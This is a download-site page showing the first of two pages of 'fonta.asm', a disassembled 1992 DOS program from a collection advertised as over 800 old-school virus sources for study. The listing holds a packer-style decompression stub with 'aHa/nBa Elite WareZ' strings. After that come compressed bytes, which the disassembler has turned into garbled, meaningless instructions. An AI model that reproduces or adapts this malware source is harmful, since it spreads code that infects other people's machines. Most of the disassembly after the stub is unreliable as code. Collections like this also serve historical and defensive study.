⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fonta.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:

PAGE  59,132

;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹
;圹								         圹
;圹			        FONTA				         圹
;圹								         圹
;圹      Created:   19-Jan-92					         圹
;圹      Code type: special					         圹
;圹      Passes:    5	       Analysis Options on: none	         圹
;圹								         圹
;圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹圹

data_28e	equ	1003h			;*
data_29e	equ	1232h			;*
data_30e	equ	180Ch			;*
data_33e	equ	2005h			;*
data_36e	equ	2412h			;*
data_38e	equ	3079h			;*
data_47e	equ	7830h			;*
data_50e	equ	91F0h			;*
data_51e	equ	99BDh			;*
data_53e	equ	0A901h			;*
data_56e	equ	0B3A1h			;*
data_60e	equ	0BD01h			;*
data_61e	equ	0BF04h			;*
data_70e	equ	0F601h			;*
data_71e	equ	0F630h			;*
data_72e	equ	0F712h			;*

;--------------------------------------------------------------	seg_a  ----

seg_a		segment	byte public
		assume cs:seg_a , ds:seg_a

		mov	ax,3463h
		mov	dx,75Ch
		cmp	ax,sp
		jae	loc_2			; Jump if above or =
		mov	ax,sp
		sub	ax,344h
		and	ax,0FFF0h
		mov	di,ax
		mov	cx,0A2h
		mov	si,17Ch
		cld				; Clear direction
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		mov	bx,ax
		mov	cl,4
		shr	bx,cl			; Shift w/zeros fill
		mov	cx,ds
		add	bx,cx
		push	bx
		xor	bx,bx			; Zero register
		push	bx
		retf				; Return far
		db	 0Dh, 01h, 41h
		db	'nother Fine aHa/nBa Elite/WareZZ'
		db	'ZZZZZZZZZZZZZZZZNot enough memor'
		db	'y$'
loc_2:
		mov	ax,900h
		mov	dx,15Fh
		int	21h			; DOS Services  ah=function 09h
						;  display char string at ds:dx
		int	20h			; DOS program terminate
		nop
		std				; Set direction flag
		mov	di,ax
		dec	di
		dec	di
		mov	si,offset data_22
		add	si,dx
		mov	cx,dx
		shr	cx,1			; Shift w/zeros fill
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		cld				; Clear direction
		xchg	si,di
		inc	si
		inc	si
		mov	di,100h
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dx,10h
		jmp	short loc_12
		db	90h
loc_3:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_14
loc_4:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_15
loc_5:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_16
loc_6:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_20
loc_7:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_21
loc_8:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_22
loc_9:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jmp	short loc_23
loc_10:
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
		jc	loc_13			; Jump if carry Set
loc_11:
		movsb				; Mov [si] to es:[di]
loc_12:
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_10			; Jump if zero
		jnc	loc_11			; Jump if carry=0
loc_13:
		xor	cx,cx			; Zero register
		xor	bx,bx			; Zero register
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_3			; Jump if zero
loc_14:
		rcl	bx,1			; Rotate thru carry
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_4			; Jump if zero
loc_15:
		rcl	bx,1			; Rotate thru carry
		test	bx,bx
		jz	loc_18			; Jump if zero
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_5			; Jump if zero
loc_16:
		rcl	bx,1			; Rotate thru carry
		cmp	bl,6
		jb	loc_18			; Jump if below
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jnz	loc_17			; Jump if not zero
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
loc_17:
		rcl	bx,1			; Rotate thru carry
loc_18:
		mov	cl,byte ptr cs:[11Ch][bx]
		cmp	cl,0Ah
		je	loc_26			; Jump if equal
loc_19:
		xor	bx,bx			; Zero register
		cmp	cx,2
		je	loc_25			; Jump if equal
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_6			; Jump if zero
loc_20:
		jc	loc_25			; Jump if carry Set
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_7			; Jump if zero
loc_21:
		rcl	bx,1			; Rotate thru carry
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_8			; Jump if zero
loc_22:
		rcl	bx,1			; Rotate thru carry
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jz	loc_9			; Jump if zero
loc_23:
		rcl	bx,1			; Rotate thru carry
		cmp	bl,2
		jae	loc_27			; Jump if above or =
loc_24:
		mov	bh,byte ptr cs:[12Ch][bx]
loc_25:
		lodsb				; String [si] to al
		mov	bl,al
		push	si
		mov	si,di
		sub	si,bx
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		pop	si
		jmp	short loc_12
loc_26:
		lodsb				; String [si] to al
		add	cl,al
		adc	ch,0
		cmp	al,0FFh
		jne	loc_19			; Jump if not equal
		jmp	short loc_31
loc_27:
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jnz	loc_28			; Jump if not zero
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
loc_28:
		rcl	bx,1			; Rotate thru carry
		cmp	bl,8
		jb	loc_24			; Jump if below
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jnz	loc_29			; Jump if not zero
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
loc_29:
		rcl	bx,1			; Rotate thru carry
		cmp	bl,17h
		jb	loc_24			; Jump if below
		shr	bp,1			; Shift w/zeros fill
		dec	dx
		jnz	loc_30			; Jump if not zero
		lodsw				; String [si] to ax
		xchg	ax,bp
		mov	dl,10h
loc_30:
		rcl	bx,1			; Rotate thru carry
		and	bx,0DFh
		xchg	bl,bh
		jmp	short loc_25
loc_31:
		xor	ax,ax			; Zero register
		push	es
		mov	bx,100h
		push	bx
		mov	bx,ax
		mov	cx,ax
		mov	dx,ax
		mov	bp,ax
		mov	si,ax
		mov	di,ax
		retf				; Return far
		db	 03h, 00h, 02h, 0Ah, 04h, 05h
		db	 00h, 00h, 00h, 00h, 00h, 00h
		db	 06h, 07h, 08h, 09h, 01h, 02h
		db	 00h, 00h, 03h, 04h, 05h, 06h
		db	 00h
		db	7 dup (0)
		db	 07h, 08h, 09h, 0Ah, 0Bh, 0Ch
		db	 0Dh, 90h,0A0h, 00h,0EBh, 33h
		db	 90h, 0Dh, 20h, 01h, 0Dh, 0Ah
		db	 20h, 41h, 6Eh, 6Fh, 00h, 00h
		db	'ther fine aHa/nB'
		db	0C0h
		db	9, 'a WAREZ'
		db	 01h, 00h, 1Ah, 03h, 00h, 40h
		db	 02h, 01h, 01h, 04h, 7Ah, 10h
		db	 00h, 01h,0B8h, 00h, 05h,0CDh
		db	 10h,0B4h, 0Fh, 01h, 80h, 04h
		db	0BFh, 2Ch, 01h, 8Ah, 25h, 3Ah
		db	0C4h, 74h, 06h, 8Ah,0C4h, 32h
		db	0E4h, 02h
		db	45h
loc_33:
;*		pop	cs			; Dangerous 8088 only
		db	0Fh
		mov	bp,163h
		mov	di,data_29e
		cmp	ax,1B9h
		or	ah,[bp+di]
		xor	dx,dx			; Zero register
		xor	bl,bl			; Zero register
		mov	ax,1110h
		adc	al,0C3h
		nop
		sbb	ax,50h
		pop	es
		add	[bp-7Fh],di
		movsw				; Mov [si] to es:[di]
		add	word ptr ds:data_51e[bx+di],284Eh
		add	al,7Eh			; '~'
		adc	[si-2],bh
		db	0FEh,0D6h, 03h,0B8h,0A9h,0BAh
		db	0C6h,0FEh, 7Ch, 21h, 6Ch,0EEh
		db	 0Fh,0C2h, 8Dh, 01h, 7Ch, 38h
		db	 10h, 10h, 10h, 38h, 7Ch, 3Eh
		db	0ABh, 01h, 0Eh, 10h, 0Dh,0D4h
		db	 9Fh, 24h, 6Ch, 07h, 1Fh,0FEh
		db	0A4h, 43h,0FEh, 10h, 01h, 18h
		db	 3Ch, 9Ch, 26h, 01h, 18h, 0Bh
		db	0FFh, 01h,0E7h, 65h, 3Bh,0C3h
		db	 01h,0E7h, 0Ah,0FFh,0D5h, 7Dh
		db	 1Fh, 66h, 01h, 21h,0AAh,0BBh
		db	 1Fh, 99h, 01h, 21h, 80h, 74h
		db	 12h, 1Eh
		db	 0Eh, 1Eh, 36h, 78h,0CCh, 01h
		db	 78h, 9Eh,0B8h
		db	 42h, 2Dh, 7Eh
		db	 18h, 18h, 91h, 70h
loc_36:
		push	dx
		push	ds
		sbb	bl,ds:data_30e
		js	loc_36			; Jump if sign=1
		jo	loc_41			; Jump if overflow=1
		push	ax
		adc	byte ptr ds:[236h],bh
		db	 36h, 76h,0F6h, 66h, 4Eh, 12h
		db	 37h, 0Ch, 7Dh,0DBh, 7Eh, 33h
		db	 3Ch, 7Eh, 37h, 00h,0DBh, 30h
		db	 00h, 80h,0E0h,0F0h,0FCh,0FEh
		db	0FCh,0F0h,0E0h
		db	37h
data_22		db	80h
		db	 80h, 10h, 02h, 0Eh, 3Eh, 7Eh
		db	0FEh, 7Eh, 3Eh, 0Eh, 02h, 77h
		db	0D6h,0ADh, 5Ch, 61h,0EBh,0CCh
		db	0B2h, 66h, 01h, 08h, 93h, 24h
		db	 10h, 7Fh,0DBh, 01h, 7Bh, 1Bh
		db	 2Fh, 00h, 01h, 30h,0C6h,0C6h
		db	 60h, 7Ch,0F6h
loc_40:
		xchg	ax,sp

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -